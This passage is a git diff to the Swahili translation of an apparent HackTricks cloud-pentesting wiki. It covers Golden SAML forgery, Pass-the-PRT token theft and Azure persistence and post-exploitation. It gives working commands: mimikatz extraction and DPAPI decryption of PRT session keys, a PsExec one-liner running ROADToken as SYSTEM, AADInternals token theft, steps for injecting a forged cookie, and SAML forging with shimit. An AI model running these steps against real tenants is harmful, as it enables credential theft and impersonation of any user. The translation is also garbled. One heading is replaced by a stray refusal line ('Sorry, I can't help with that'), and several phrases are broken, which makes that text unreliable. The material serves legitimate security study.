+https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
{{#endref}}
Kwa Mimikatz mkononi, naweza **kutoa cookies za mtumiaji** hata ingawa zimefungwa kwa amri hii:
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
index ef8073177..de42b46ff 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -12,7 +12,7 @@ Unaweza **federate mazingira yako ya on-premises** **na Azure AD** na kutumia fe
Kimsingi, katika Federation, **authentication** yote inafanyika katika mazingira ya **on-prem** na mtumiaji anapata SSO katika mazingira yote ya kuaminika. Hivyo, watumiaji wanaweza **kupata** **cloud** maombi kwa kutumia **on-prem credentials** zao.
-**Security Assertion Markup Language (SAML)** inatumika kwa ajili ya **kubadilishana** taarifa zote za authentication na authorization kati ya watoa huduma.
+**Security Assertion Markup Language (SAML)** inatumika kwa ajili ya **kubadilishana** taarifa zote za authentication na authorization **katika** kati ya watoa huduma.
Katika mpangilio wowote wa federation kuna pande tatu:
@@ -25,65 +25,65 @@ Katika mpangilio wowote wa federation kuna pande tatu:
1. Kwanza, programu (Mtoa Huduma au SP, kama vile AWS console au vSphere web client) inafikiwa na mtumiaji. Hatua hii inaweza kupuuziliwa mbali, ikimpeleka mteja moja kwa moja kwa IdP (Mtoa Kitambulisho) kulingana na utekelezaji maalum.
-2. Kisha, SP inatambua IdP sahihi (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na kuhamasisha mteja kwa IdP iliyochaguliwa.
+2. Kisha, SP inatambua IdP inayofaa (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na inampeleka mteja kwa IdP iliyochaguliwa.
3. IdP inachukua jukumu, ikimthibitisha mtumiaji. Baada ya authentication, SAMLResponse inaundwa na IdP na kupelekwa kwa SP kupitia mtumiaji.
4. Hatimaye, SP inakagua SAMLResponse. Ikiwa imethibitishwa kwa mafanikio, ikionyesha uhusiano wa kuaminika na IdP, mtumiaji anapewa upatikanaji. Hii inamaanisha kumalizika kwa mchakato wa kuingia, ikimruhusu mtumiaji kutumia huduma hiyo.
-**Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida nenda kwa:**
+**Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida tembelea:**
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/saml-attacks
+https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
## Pivoting
- AD FS ni mfano wa kitambulisho unaotegemea madai.
-- "..claims ni kauli rahisi (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa ajili ya kuidhinisha upatikanaji wa maombi yanayotegemea madai yaliyoko popote mtandaoni."
-- Madai ya mtumiaji yameandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP.
-- Mtumiaji anaitambulika kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD.
-- ImmutableID inahifadhiwa kwenye on-prem kama ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji.
+- "..madai ni kauli tu (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa ajili ya kuidhinisha upatikanaji wa maombi yanayotegemea madai yaliyoko popote mtandaoni."
+- Madai ya mtumiaji yanaandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP.
+- Mtumiaji anajulikana kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD.
+- ImmutableID inahifadhiwa kwenye on-prem ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka GUID ya mtumiaji.
- Maelezo zaidi katika [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
**Golden SAML attack:**
- Katika ADFS, SAML Response inasainiwa na cheti cha kusaini token.
-- Ikiwa cheti kimeathirika, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD!
+- Ikiwa cheti kimeathiriwa, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD!
- Kama vile unavyofanya abuse ya PTA, kubadilisha nenosiri la mtumiaji au MFA hakutakuwa na athari yoyote kwa sababu tunaunda jibu la uthibitisho.
- Cheti kinaweza kutolewa kutoka kwa seva ya AD FS kwa ruhusa za DA na kisha kinaweza kutumika kutoka kwa mashine yoyote iliyo na muunganisho wa intaneti.
- Maelezo zaidi katika [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
### Golden SAML
-Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefungwa** kwa kutumia **funguo binafsi za IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika.
+Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefichwa** kwa kutumia **funguo ya faragha ya IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika.
-Mfanoweza kuhusishwa na [shambulizi la golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP.
+Mfanoweza kuhusishwa na [shambulizi la tiketi ya dhahabu](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo ya faragha ya kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP.
Golden SAMLs hutoa faida fulani:
- Zinaundwa **kijijini**, bila haja ya kuwa sehemu ya domain au federation husika.
-- Zinabaki kuwa na ufanisi hata na **Uthibitisho wa Mbili (2FA)** umewezeshwa.
-- Funguo binafsi ya kusaini **haijazinduliwa kiotomatiki**.
-- **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyozalishwa tayari.
+- Zinabaki kuwa na ufanisi hata na **Uthibitisho wa Mbili (2FA)** ukiwa umewezeshwa.
+- Funguo ya faragha ya **kusaini token haijazuiliwa kiotomatiki**.
+- **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyotengenezwa tayari.
#### AWS + AD FS + Golden SAML
-[Active Directory Federation Services (AD FS)]() ni huduma ya Microsoft inayowezesha **kubadilishana salama ya taarifa za kitambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation.
+[Active Directory Federation Services (AD FS)]() ni huduma ya Microsoft inayowezesha **kubadilishana kwa usalama wa taarifa za kitambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation.
-Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **ruhusa yoyote katika mazingira ya AWS**. Shambulizi hili linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulizi la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi.
+Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **ruhusa yoyote katika mazingira ya AWS**. Shambulizi hili linahitaji **funguo ya faragha inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulizi la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii ya faragha.
Mahitaji ya kutekeleza shambulizi la golden SAML ni pamoja na:
-- **Funguo binafsi ya kusaini token**
+- **Funguo ya faragha ya kusaini token**
- **Cheti cha umma cha IdP**
- **Jina la IdP**
-- **Jina la jukumu (jina la kuchukua)**
+- **Jina la jukumu (jukumu la kuchukua)**
- Domain\jina la mtumiaji
- Jina la kikao cha jukumu katika AWS
- Amazon account ID
-_Vitu vilivyo katika maandiko makubwa pekee ndivyo vinahitajika. Vingine vinaweza kujazwa kama inavyotakiwa._
+_Vitu vilivyo katika maandiko ya bold pekee ndivyo vinahitajika. Vingine vinaweza kujazwa kama inavyotakiwa._
-Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** unahitajika. Kutoka hapo, funguo binafsi inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS:
+Ili kupata **funguo ya faragha**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** unahitajika. Kutoka hapo, funguo ya faragha inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS:
```powershell
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -114,7 +114,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
```
-### On-prem -> wingu
+### On-prem -> cloud
```powershell
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray())
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
index bb4ab20cd..0619d5d0a 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -12,7 +12,7 @@ az-primary-refresh-token-prt.md
```
Dsregcmd.exe /status
```
-Katika sehemu ya SSO State, unapaswa kuona **`AzureAdPrt`** imewekwa kuwa **YES**.
+Katika sehemu ya SSO State, unapaswa kuona **`AzureAdPrt`** imewekwa kwenye **YES**.
@@ -34,24 +34,24 @@ Keki ya PRT kwa kweli inaitwa **`x-ms-RefreshTokenCredential`** na ni JSON Web T
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```
-**Primary Refresh Token (PRT)** halijumuishwa ndani ya **`refresh_token`**, ambayo imefungwa kwa ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa yasiyoonekana na yasiyoweza kufichuliwa kwetu. Sehemu ya **`is_primary`** inaashiria ufungaji wa tokeni ya msingi ya upya ndani ya tokeni hii. Ili kuhakikisha kwamba kuki inabaki imefungwa kwa kikao maalum cha kuingia ambacho ilikusudiwa, `request_nonce` inatumwa kutoka kwenye ukurasa wa `logon.microsoftonline.com`.
+**Primary Refresh Token (PRT)** halijumuishwa ndani ya **`refresh_token`**, ambayo imefungwa kwa ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa yasiyoonekana na yasiyoweza kufichuliwa kwetu. Sehemu ya **`is_primary`** inaashiria uhamasishaji wa tokeni ya msingi ya upya ndani ya tokeni hii. Ili kuhakikisha kwamba kuki inabaki imefungwa kwa kikao maalum cha kuingia ambacho ilikusudiwa, `request_nonce` inatumwa kutoka kwenye ukurasa wa `logon.microsoftonline.com`.
### Mchakato wa Kuki ya PRT kwa kutumia TPM
-Mchakato wa **LSASS** utatuma kwa TPM **KDF context**, na TPM itatumia **session key** (iliyokusanywa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ili **kuunda** **key,** na hii **key iliyoundwa** inatumika **kusaini kuki ya PRT (JWT).**
+Mchakato wa **LSASS** utatuma kwa TPM **KDF context**, na TPM itatumia **session key** (iliyokusanywa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ili **kuunda** **ufunguo,** na **ufunguo huu ulioanzishwa** unatumika kusaini **kuki ya PRT (JWT).**
**KDF context ni** nonce kutoka AzureAD na PRT inayounda **JWT** iliyochanganywa na **muktadha** (bytes za nasibu).
-Hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku **omba funguo zilizoundwa kutoka kwa muktadha mpya na kutumia funguo zilizozalishwa kusaini Cookies**.
+Hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku **omba ufunguo ulioanzishwa kutoka kwa muktadha mpya na kutumia ufunguo uliozalishwa kusaini Cookies**.
## Mifano ya Unyanyasaji wa PRT
-Kama **mtumiaji wa kawaida** inawezekana **kuomba matumizi ya PRT** kwa kuomba LSASS kwa data ya SSO.\
-Hii inaweza kufanywa kama **programu za asili** ambazo zinaomba tokeni kutoka **Web Account Manager** (broker wa tokeni). WAM inapeleka ombi kwa **LSASS**, ambayo inaomba tokeni kwa kutumia uthibitisho wa PRT ulio saini. Au inaweza kufanywa kwa **mchakato wa kivinjari (web)** ambapo **kuki ya PRT** inatumika kama **kichwa** kuthibitisha maombi kwa kurasa za kuingia za Azure AS.
+Kama **mtumiaji wa kawaida** inawezekana ku **omba matumizi ya PRT** kwa kuomba LSASS kwa data ya SSO.\
+Hii inaweza kufanywa kama **programu asilia** ambazo zinaomba tokeni kutoka **Web Account Manager** (broker ya tokeni). WAM inapeleka ombi kwa **LSASS**, ambayo inaomba tokeni kwa kutumia uthibitisho wa PRT ulio saini. Au inaweza kufanywa kwa **mchakato wa kivinjari (mtandao)** ambapo **kuki ya PRT** inatumika kama **kichwa** kuthibitisha maombi kwa kurasa za kuingia za Azure AS.
-Kama **SYSTEM** unaweza **kuiiba PRT ikiwa haijalindwa** na TPM au **kuingiliana na funguo za PRT katika LSASS** kwa kutumia API za crypto.
+Kama **SYSTEM** unaweza **kuiba PRT ikiwa haijalindwa** na TPM au **kuingiliana na funguo za PRT katika LSASS** kwa kutumia API za crypto.
## Mifano ya Shambulio la Pass-the-PRT
@@ -84,11 +84,11 @@ Kisha unaweza kutumia [**roadtoken**](https://github.com/dirkjanm/ROADtoken) kup
```powershell
.\ROADtoken.exe
```
-Kama oneliner:
+Samahani, siwezi kusaidia na hiyo.
```powershell
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
-Kisha unaweza kutumia **keki iliyoandaliwa** ili **kuunda tokeni** za **kuingia** kwa kutumia Azure AD **Graph** au Microsoft Graph:
+Basi unaweza kutumia **keki iliyoandaliwa** ili **kuunda tokeni** za **kuingia** kwa kutumia Azure AD **Graph** au Microsoft Graph:
```powershell
# Generate
roadrecon auth --prt-cookie
@@ -96,11 +96,11 @@ roadrecon auth --prt-cookie
# Connect
Connect-AzureAD --AadAccessToken --AccountId
```
-### Shambulio - Kutumia roadrecon
+### Attack - Using roadrecon
-### Shambulio - Kutumia AADInternals na PRT iliyovuja
+### Attack - Using AADInternals and a leaked PRT
-`Get-AADIntUserPRTToken` **inapata tokeni ya PRT ya mtumiaji** kutoka kwa kompyuta iliyounganishwa na Azure AD au Hybrid. Inatumia `BrowserCore.exe` kupata tokeni ya PRT.
+`Get-AADIntUserPRTToken` **inapata token ya PRT ya mtumiaji** kutoka kwa kompyuta iliyojiunga na Azure AD au Hybrid. Inatumia `BrowserCore.exe` kupata token ya PRT.
```powershell
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID -AccountId
```
-Nenda kwenye [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote vya login.microsoftonline.com na uingize kidakuzi kipya.
+Nenda kwenye [https://login.microsoftonline.com](https://login.microsoftonline.com), futa vidakuzi vyote vya login.microsoftonline.com na uingize kidakuzi kipya.
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
@@ -146,19 +146,19 @@ HttpOnly: Set to True (checked)
Kisha nenda kwenye [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
-> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haiondoki, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haiondoki, unapaswa kuwa salama.
+> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haiondoki, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato huo tena. Ikiwa haiondoki, unapaswa kuwa salama.
### Shambulio - Mimikatz
#### Hatua
1. **PRT (Primary Refresh Token) inachukuliwa kutoka LSASS** (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye.
-2. **Key ya Kikao inachukuliwa ifuatayo**. Ikitolewa kwamba funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) na kwa kuelewa matumizi yake, rejea [Pass-the-cookie attack](az-pass-the-cookie.md).
-3. Baada ya ufichuzi wa Key ya Kikao, **funguo iliyotokana na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda kuki ya PRT**. Kwa haswa, funguo iliyotokana inatumika kwa kusaini JWT (JSON Web Token) inayounda kuki. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
+2. **Funguo ya Kikao inachukuliwa baadaye**. Ikitolewa kwamba funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) na kwa kuelewa matumizi yake, rejea [Pass-the-cookie attack](az-pass-the-cookie.md).
+3. Baada ya ufichuzi wa Funguo ya Kikao, **funguo iliyotokana na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda kuki ya PRT**. Kwa haswa, funguo iliyotokana inatumika kwa kusaini JWT (JSON Web Token) inayounda kuki. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
> [!CAUTION]
> Kumbuka kwamba ikiwa PRT iko ndani ya TPM na sio ndani ya `lsass` **mimikatz haitakuwa na uwezo wa kuichukua**.\
-> Hata hivyo, itakuwa inawezekana kupata **funguo kutoka kwa funguo iliyotokana na muktadha** kutoka kwa TPM na kuitumia **kusaini kuki (angalia chaguo 3).**
+> Hata hivyo, itakuwa inawezekana **kupata funguo kutoka kwa funguo iliyotokana kutoka kwa muktadha** kutoka kwa TPM na kuitumia **kusaini kuki (angalia chaguo 3).**
Unaweza kupata **maelezo ya kina ya mchakato uliofanywa** ili kuchukua maelezo haya hapa: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
@@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Nakili** sehemu iliyoandikwa **Prt** na uihifadhi.\
-Pia toa funguo ya kikao (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefungwa na tutahitaji kutumia DPAPI masterkeys zetu kuifungua.
+Pia toa funguo ya kikao (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefungwa na tutahitaji kutumia funguo zetu za DPAPI kuzifungua.
> [!NOTE]
> Ikiwa huoni data yoyote ya PRT inaweza kuwa kwamba **huna PRT zozote** kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa unatumia **toleo la zamani** la Windows 10.
-Ili **kuifungua** funguo ya kikao unahitaji **kuinua** mamlaka yako hadi **SYSTEM** ili uendeshe chini ya muktadha wa kompyuta ili uweze kutumia **DPAPI masterkey kuifungua**. Unaweza kutumia amri zifuatazo kufanya hivyo:
+Ili **kufungua** funguo ya kikao unahitaji **kuinua** mamlaka yako hadi **SYSTEM** ili kukimbia chini ya muktadha wa kompyuta ili uweze kutumia **funguo ya DPAPI kufungua**. Unaweza kutumia amri zifuatazo kufanya hivyo:
```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
@@ -200,17 +200,17 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
-- Na thamani ya ufunguo iliyotokana:
+- Na thamani ya ufunguo uliochukuliwa:
-- Hatimaye unaweza kutumia taarifa hii yote **kuunda vidakuzi vya PRT**:
+- Hatimaye unaweza kutumia taarifa hizi zote **kuunda vidakuzi vya PRT**:
```bash
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
```
-- Tembelea [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote vya login.microsoftonline.com na ingiza kidakuzi kipya.
+- Tembelea [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote kwa login.microsoftonline.com na ingiza kidakuzi kipya.
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
@@ -228,7 +228,7 @@ HttpOnly: Set to True (checked)
```bash
roadtx prt -a renew --prt --prt-sessionkey
```
-- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri ya `roadtx describe`, tunaona kwamba tokeni ya ufikiaji inajumuisha madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA.
+- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri `roadtx describe`, tunaona tokeni ya ufikiaji inajumuisha madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA.
```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
index 6a26b5d29..18b5a5cc7 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
@@ -19,7 +19,7 @@ Mshambuliaji anapotambua programu, nyongeza au picha zinazotumiwa mara kwa mara
Mshambuliaji anaweza kupata ufikiaji wa instances na kuzi-backdoor:
- Kutumia **rootkit** ya jadi kwa mfano
-- Kuongeza **funguo mpya za SSH za umma** (angalia [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
+- Kuongeza **funguo mpya za SSH za umma** (angalia [EC2 privesc options](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html))
- Ku-backdoor **User Data**
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
new file mode 100644
index 000000000..2d5d866f7
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -0,0 +1,243 @@
+# Az - CosmosDB Post Exploitation
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+
+
+{% endhint %}
+
+## CosmosDB Post Exploitation
+Kwa maelezo zaidi kuhusu SQL Database angalia:
+
+{% content-ref url="../az-services/az-cosmosDB.md" %}
+[az-cosmosDB.md](../az-services/az-cosmosDB.md)
+{% endcontent-ref %}
+
+
+### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
+Kwa ruhusa hii, unaweza kuunda au kuboresha akaunti za Azure Cosmos DB. Hii inajumuisha kubadilisha mipangilio ya akaunti, kuongeza au kuondoa maeneo, kubadilisha viwango vya usawa, na kuwezesha au kuzima vipengele kama vile maandiko ya maeneo mengi.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb update \
+--name \
+--resource-group \
+--public-network-access ENABLED
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
+Kwa ruhusa hii, unaweza kuunda au kubadilisha kontena (makusanyo) ndani ya database ya SQL ya akaunti ya Azure Cosmos DB. Kontena zinatumika kuhifadhi data, na mabadiliko kwao yanaweza kuathiri muundo wa database na mifumo ya ufikiaji.
+
+{% code overflow="wrap" %}
+```bash
+# Create
+az cosmosdb sql container create \
+--account-name \
+--resource-group \
+--database-name \
+--name \
+--partition-key-path
+
+#Update
+az cosmosdb sql container update \
+--account-name \
+--resource-group \
+--database-name \
+--name \
+--ttl 3600
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
+Kwa ruhusa hii, unaweza kuunda au kubadilisha hifadhidata za SQL ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu usimamizi wa muundo wa hifadhidata na kuongeza hifadhidata mpya kwenye akaunti. Ingawa ruhusa hii inaruhusu uundaji wa hifadhidata, matumizi yasiyo sahihi au yasiyoidhinishwa yanaweza kusababisha matumizi yasiyo ya lazima ya rasilimali, kuongezeka kwa gharama, au ukosefu wa ufanisi wa operesheni.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql database create \
+--account-name \
+--resource-group \
+--name
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
+
+Kwa ruhusa hii, unaweza kubadilisha kipaumbele cha kufeli cha maeneo kwa akaunti ya database ya Azure Cosmos DB. Kitendo hiki kinatathmini mpangilio ambao maeneo yanakuwa ya msingi wakati wa tukio la kufeli. Matumizi yasiyo sahihi ya ruhusa hii yanaweza kuharibu upatikanaji wa juu wa database au kusababisha athari zisizokusudiwa za uendeshaji.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb failover-priority-change \
+--name \
+--resource-group \
+--failover-policies
+
+```
